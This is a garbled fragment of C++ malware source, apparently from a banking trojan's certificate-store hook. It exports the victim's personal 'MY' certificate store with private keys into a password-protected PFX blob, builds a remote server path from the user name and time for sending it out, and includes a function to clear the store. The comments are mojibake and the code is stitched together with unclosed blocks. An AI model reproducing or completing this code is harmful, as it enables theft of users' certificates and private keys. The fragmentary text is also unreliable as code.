h>
#include <wincrypt.h>
#include <shlwapi.h>
#include <security.h>
#include <wininet.h>
#include "defines.h"
#include "core.h"
#include "report.h"
#include "certstorehook.h"
#include "cryptedstrings.h"
#include "..\common\mem.h"
#include "..\common\str.h"
#include "..\common\fs.h"
#include "..\common\debug.h"
/*
��������� �������� ����� ����������� �� ���� �����������.
/*
������� ��������� � �����.
IN storeName - �� ���������.
CSTR_GETW(password, certstore_export_password);
if(CWA(crypt32, PFXExportCertStoreEx)(storeHandle, &pfxBlob, password, 0,
EXPORT_PRIVATE_KEYS) != FALSE &&
(pfxBlob.pbData = (LPBYTE)Mem::alloc(pfxBlob.cbData)) != NULL)
{
if(CWA(crypt32, PFXExportCertStoreEx)(storeHandle, &pfxBlob, password, 0,
EXPORT_PRIVATE_KEYS) != FALSE)
{
//������ �� ��������� � ������ �������.
WCHAR storeNameLower[CryptedStrings::len_certstore_export_remote_path *
2];
Str::_CopyW(storeNameLower, storeName, -1);
CWA(kernel32, CharLowerW)(storeNameLower);
//���������� ��.
WCHAR userName[MAX_PATH];
WCHAR pfxName[CryptedStrings::len_certstore_export_remote_path * 2];
SYSTEMTIME st;
CWA(kernel32, GetSystemTime)(&st);
CSTR_GETW(serverPath, certstore_export_remote_path);
getUserNameForPath(userName);
/*
������� ���������.
IN storeName - �� ���������.
bool CertStoreHook::_exportMy(void)
{
return exportStore(L"MY");
}
bool CertStoreHook::_clearMy(void)
{
return clearStore(L"MY");
}
//����� ����������.
CSTR_GETW(serverPath, certstore_export_remote_path);
CSTR_GETW(prolog, certstore_export_prolog);
getUserNameForPath(userName);